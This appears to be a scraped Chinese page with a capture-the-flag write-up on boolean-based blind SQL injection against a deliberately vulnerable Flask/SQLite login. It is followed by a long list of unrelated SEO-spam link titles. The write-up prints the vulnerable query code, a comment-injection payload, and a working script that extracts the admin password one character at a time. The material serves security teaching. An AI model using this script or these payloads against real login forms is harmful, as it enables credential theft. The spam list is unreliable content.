当前位置: 首页 > news >正文

广告设计与制作的公司seo关键词排名系统

广告设计与制作的公司,seo关键词排名系统,视频拍摄公司,天河建网站的公司在这个场景中,我们需要利用SQL注入漏洞来泄露flag,但是应用程序并不会直接返回查询结果。相反,我们需要根据应用程序的行为差异(登录成功与否)来推断查询结果。这就是所谓的"布尔盲注"(Boolean-b…

在这个场景中,我们需要利用SQL注入漏洞来泄露flag,但是应用程序并不会直接返回查询结果。相反,我们需要根据应用程序的行为差异(登录成功与否)来推断查询结果。这就是所谓的"布尔盲注"(Boolean-based Blind SQL Injection)。

我们可以通过构造一系列的"是/否"问题,并根据应用程序的响应来逐位获取flag。

服务器的处理逻辑如下所示:

#!/opt/pwn.college/pythonimport tempfile
import sqlite3
import flask
import osapp = flask.Flask(__name__)class TemporaryDB:def __init__(self):self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")def execute(self, sql, parameters=()):connection = sqlite3.connect(self.db_file.name)connection.row_factory = sqlite3.Rowcursor = connection.cursor()result = cursor.execute(sql, parameters)connection.commit()return resultdb = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")@app.route("/", methods=["POST"])
def challenge_post():username = flask.request.form.get("username")password = flask.request.form.get("password")if not username:flask.abort(400, "Missing `username` form parameter")if not password:flask.abort(400, "Missing `password` form parameter")try:# https://www.sqlite.org/lang_select.htmlquery = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'print(f"DEBUG: {query=}")user = db.execute(query).fetchone()except sqlite3.Error as e:flask.abort(500, f"Query: {query}\nError: {e}")if not user:flask.abort(403, "Invalid username or password")flask.session["user"] = usernamereturn flask.redirect(flask.request.path)@app.route("/", methods=["GET"])
def challenge_get():if not (username := flask.session.get("user", None)):page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."else:page = f"<html><body>Hello, {username}!"return page + """<hr><form method=post>User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit></form></body></html>"""app.secret_key = os.urandom(8)
port = 8080 if os.geteuid() else 80
app.config['SERVER_NAME'] = f"challenge.localhost:{port}"
app.run("challenge.localhost", port)

这里我们需要构造合适的payload:  

admin"--

-- 注释掉查询的剩余部分

整个查询会变成:

SELECT rowid, * FROM users WHERE username = "admin"--" AND password = "anything"

进一步得到

SELECT rowid, * FROM users WHERE username = "admin" AND substr((SELECT password FROM users WHERE username="admin"), 1, 1) = "a"--" AND password = "anything"

构造脚本逐字符猜测

import requests
import stringurl = "http://challenge.localhost:8080"
flag = ""
charset = string.printable.strip()def check(payload):response = requests.post(url, data={"username": payload, "password": "anything"}, allow_redirects=False)return response.status_code == 302# 获取flag长度
for i in range(1, 100):payload = f'admin" AND length((SELECT password FROM users WHERE username="admin")) = {i}--'if check(payload):print(f"Flag length: {i}")flag_length = ibreak# 获取flag内容
for i in range(1, flag_length + 1):for char in charset:payload = f'admin" AND substr((SELECT password FROM users WHERE username="admin"), {i}, 1) = "{char}"--'if check(payload):flag += charprint(f"Current flag: {flag}")breakprint(f"Final flag: {flag}")

http://www.ds6.com.cn/news/87634.html

相关文章:

  • 手机端网站ui做多少像素线上推广产品
  • 手机网站建设开什么类型的票seo做得比较好的企业案例
  • wap医院网站模板 for dedecms v1.0产品如何做市场推广
  • 嘉兴seo网站建设费用优化20条措施
  • 男女上做床全播放网站重庆百度关键词优化软件
  • 男女做那个的小视频网站网络营销推广公司名称
  • 国际型网站建设优化大师电脑版官网
  • 蒙古文网站建设情况百度官方客服
  • 查询域名注册网站想在百度上推广怎么做
  • 网站建设属于什么专业网站推广排名服务
  • 区域推广网站网络推广员一个月多少钱
  • 网站开发公司目前主营业务网页怎么做出来的
  • 如何在yahoo上做网站域名ip地址在线查询
  • 福田做网站报价爱站网站长工具
  • 新疆网站建设推广nba实力榜最新排名
  • 济南网网络推广seo群发软件
  • 汕头网站推广seo足球世界排名国家最新
  • php网站打开一片空白网络营销的主要传播渠道是
  • 房地产销售人员网站怎么做网站流量统计工具有哪些
  • 用java怎么做游戏下载网站吗中国市场营销网网站
  • 今天东莞封路宁宁网seo
  • 百度怎么制作网页seo自学教程seo免费教程
  • 安康那个公司做网站好百度建站云南服务中心
  • 深圳网站建设价格是多少做一个自己的网站
  • 好学校平台网站模板下载不了可以发广告的100个网站
  • 中国建设银行河北省分行官方网站seo网络优化是什么意思
  • 外国人在中国注册公司需要什么条件天津seo建站
  • 网站开发和设计seo技术培训
  • 网站建设发布ps科技感武汉百度
  • 小鱼儿企业网站管理系统网站推广投放